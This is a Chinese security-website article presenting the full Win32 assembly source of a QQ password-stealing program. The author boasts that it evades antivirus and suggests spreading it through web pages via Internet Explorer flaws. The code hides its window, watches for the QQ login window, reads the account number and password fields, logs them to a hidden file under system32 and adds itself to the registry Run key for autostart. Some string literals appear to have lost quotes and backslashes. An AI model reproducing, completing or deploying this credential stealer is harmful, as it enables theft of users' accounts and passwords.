| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
汇编语言开发盗QQ程序
利用汇编语言开发盗QQ密码程序
作者:本站整理 文章来源:本站原创 点击数: 更新时间:2008-3-19 14:27:25

  你可以从这个程序学到如何利用汇编...的一些特别特性

  这是一个我用了一天多编出来的运行在98环境下的

  记录QQ密码的小程序,只有不到7KB

  编程语言是win32汇编,我用的是MASM8.0编绎器

  可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程

  序要么被杀要么没更新用不到了....只好自已写一个,由于这

  个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE

  的洞洞让看过网页的人就中招..当然你还得改改程序,因为它

  不具有发邮件的功能.

  文件说明:

  qqlog.txt c:windowssystem32目录下,密码就放这儿了

  qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动

  qqplus.asm 源文件

  qq.rc 资源文件

  findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法

  str.asm 验证在文件中找是否有已知字串的小模块

  readme.txt 这也要说明:)

  编绎参数:

  D:masm32BIN>type b.bat

  ml /c /coff msg.asm

  link /subsystem:windows msg.obj qq.res

  czy 于03.06.15

  .386

  .model flat,stdcall

  option casemap:none

  include ../include/windows.inc

  include ../include/user32.inc

  includelib ../lib/user32.lib

  include ../include/kernel32.inc

  includelib ../lib/kernel32.lib

  include ../include/Advapi32.inc

  includelib ../lib/Advapi32.lib

  _PROCVAR2 typedef proto :dword,:dword

  PROCVAR2 typedef ptr _PROCVAR2

  .data

  szcaption db hello asm!,0

  sztext db hehe ,0

  szqqtitle db ,0

  sztext1 db cant find ,0

  tx db 40 dup(0),0

  pass db 16 dup(0),0

  qqno db 40 dup(0),0

  log db c:windowssystem32qqlog.txt,0

  szFormat db %s %s,0dh,0Ah,0

  regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0

  keyname db QQplus,0

  exename db QQplus.exe,0

  hkey dd ?

  allnum dd ?

  @szBuffer db 60 dup(0),0

  canwrite db 0

  ;---------------------------------是否有重复记录

  find db 相同用户名密码已在文件中存在,0

  logall db 1024 dup(0),0

  @hFile1 dd ?

  p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0

  k dd 0 ;在logall中找到多少个相同的字符了

  q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?

  j dd 0 ;记录在logall中找到多少个字串来了

  base dd 0 ;记录logall的地址

  lenstr dd 0 ;记录匹配的字串的长度

  len dd 0 ;记录文件长度

  @szBuffer1 db 10 dup(0),0

  szFormat1 db %d%s,0

  ;---------------------------------

  .const

  szregister db RegisterServiceProcessA,0

  kerdll db kernel32.dll,0

  .data?

  hInstance dd ?

  hWinMain dd ?

  RegisterServiceProcessA PROCVAR2 ?

  hDllInstance dd ?

  .code

  _isin proc

  invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,

  NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL

  ;OPEN_ALWAYS:存在则打开,不存在就创建

  mov @hFile1,eax

  invoke GetFileSize,@hFile1,NULL ;得到文件长度

  invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL

  invoke CloseHandle,@hFile1

  invoke lstrlen,addr logall ;得到字串总长

  mov esi,offset len

  mov [esi],eax ;并记录到len变量中

  invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度

  mov esi,offset lenstr

  mov [esi],eax

  ;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr

  ;invoke MessageBox,NULL,offset logall,offset @szBuffer,1

  ;上面的*作从文件中读出所有内容,下面就是比较

  mov esi,offset logall

  mov edi,offset @szBuffer

  xor eax,eax

  xor ebx,ebx

  xor ecx,ecx

  xor edx,edx

  @@bg:

  movzx eax,byte ptr [esi] ;logall

  movzx ebx,byte ptr [edi] ;@szBuffer

  mov ecx,len

  .if j>ecx

  jmp @@exit

  .endif

  .if eax==ebx

  .if p==0 ;找到一个和hello的第一个字母相同的

  inc p ;p设为1

  mov edx,offset j

  mov ecx,[edx]

  mov q,ecx ;把j的值给Q

  .endif

  inc edi

  inc esi

  inc j

  inc k

  mov ecx,lenstr

  .if k==ecx

  pushad

  ;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall

  ;invoke MessageBox,NULL,offset @szBuffer1,offset find,1

  popad ;调用了函数eax值发生变化所以要还原寄存器

  inc canwrite ;可写入标记设为1

  jmp @@exit

  .endif

  .else

  .if p==1

  mov ecx,q

  mov j,ecx

  inc j

  movzx eax,byte ptr [esi]

  add esi,j

  mov edi,offset @szBuffer

  dec p ;p重设为0

  mov k,0

  .else

  inc j

  inc esi

  .endif

  .endif

  jmp @@bg

  @@exit:

  ret

  _isin endp

  _SavePass proc ;用户名密码记录在全局变量中了

  local @hFile:HFILE

  local @lpOpenbuf:OFSTRUCT

  invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass

  ;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1

  mov qqno,NULL

  mov pass,NULL

  invoke _isin

  .if canwrite==0

  invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,

  NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL

  ;OPEN_ALWAYS:存在则打开,不存在就创建

  mov @hFile,eax

  invoke SetFilePointer,@hFile,0,NULL,FILE_END

  invoke SetEndOfFile,@hFile ;文件指针放到文件尾

  invoke lstrlen,addr @szBuffer

  invoke _lwrite,@hFile,addr @szBuffer,eax

  .else

  dec canwrite ;还原标记

  .endif

  invoke CloseHandle,@hFile

  ;清空当前记录的密码防止重复记录

  ret

  _SavePass endp

  _Findzi proc _hzi

  invoke GetWindowLong,_hzi, GWL_STYLE

  .if eax==50012080h ;记录QQ号码

  invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0

  inc eax

  push eax

  invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx

  ;invoke MessageBox,NULL,offset tx,offset szcaption,1

  ; mov esi, offset tx

  ; mov edi, offset qqno

  ;MYCOPYSTR0:

  ; mov al,byte ptr [esi]

  ; cmp al,0

  ; jz MYCOPYSTR1

  ; mov [edi],al

  ; inc esi

  ; inc edi

  ; jmp MYCOPYSTR0

  ;MYCOPYSTR1:

  pop ecx

  .if ecx>5 ;长度大于4,qqno!=tx

  mov edi,offset qqno

  mov esi,offset tx

  xor edx,edx

  .while edx

  mov eax,[esi]

  cmp [edi],eax

  jnz @@qt

  inc esi

  inc edi

  inc edx

  .endw

  jmp @@ps

  @@qt:

  xor edx,edx

  mov edi,offset qqno

  mov esi,offset tx

  .while edx

  mov eax,[esi]

  mov [edi],eax

  inc esi

  inc edi

  inc edx

  .endw

  ;invoke MessageBox,NULL,offset qqno,offset szcaption,1

  .endif

  .endif

  @@ps:

  .if eax==500100A0h ;记录QQ密码

  invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0

  inc eax

  push eax

  invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx

  pop ecx

  .if ecx>6 ;长度大于5,qqno!=tx

  mov edi,offset pass

  mov esi,offset tx

  xor edx,edx

  .while edx

  mov eax,[esi]

  cmp [edi],eax

  jnz @@qt1

  inc esi

  inc edi

  inc edx

  .endw

  jmp @@ps1

  @@qt1:

  xor edx,edx

  mov edi,offset pass

  mov esi,offset tx

  .while edx

  mov eax,[esi]

  mov [edi],eax

  inc esi

  inc edi

  inc edx

  .endw

  ;invoke MessageBox,NULL,offset pass,offset szcaption,1

  .endif

  .endif

  @@ps1:

  invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体

  .If eax!=0 ;没有兄弟窗口了

  invoke _Findzi,eax

  .EndIf

  invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口

  .If eax!=0 ;没有子窗口了

  invoke _Findzi,eax

  .EndIf

  ret

  _Findzi endp

  _ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime

  pushad

  invoke FindWindow,NULL,offset szqqtitle

  .if eax

  invoke GetWindow,eax, GW_CHILD

  invoke _Findzi,eax

  .else

  ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1

  ;找不到登陆窗口并且用户名密码不为空就试图记录

  invoke lstrlen,offset pass

  .if eax>5

  ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1

  invoke _SavePass

  .endif

  .endif

  popad

  ret

  _ProcTimer endp

  _ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam

  mov eax,uMsg

  .if eax==WM_INITDIALOG

  push hWnd

  pop hWinMain

  invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮

  invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见

  invoke SetTimer,hWinMain,1,500,addr _ProcTimer

  .elseif eax == WM_CLOSE

  invoke KillTimer,hWinMain,1

  invoke EndDialog,hWinMain,NULL

  .else

  mov eax,FALSE

  ret

  .endif

  mov eax,TRUE

  ret

  _ProcDlgMain endp

  start:

  invoke GetModuleHandle,NULL

  mov hInstance,eax

  ;pushad

  ;invoke LoadLibrary,offset kerdll

  ;.if eax ;加载KERNEL32.dll成功

  ; mov hDllInstance,eax

  ; invoke GetProcAddress,hDllInstance,offset szregister

  ;

  ; mov RegisterServiceProcessA,eax

  ; ;mov ebx,01

  ; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程

  ;

  ; invoke FreeLibrary,offset kerdll

  ;.endif

  ;popad

  invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL

  ;开机自启动

  invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey

  invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11

  invoke RegCloseKey,hkey

  ;invoke ExitProcess,NULL

  end start

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    没有相关文章
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有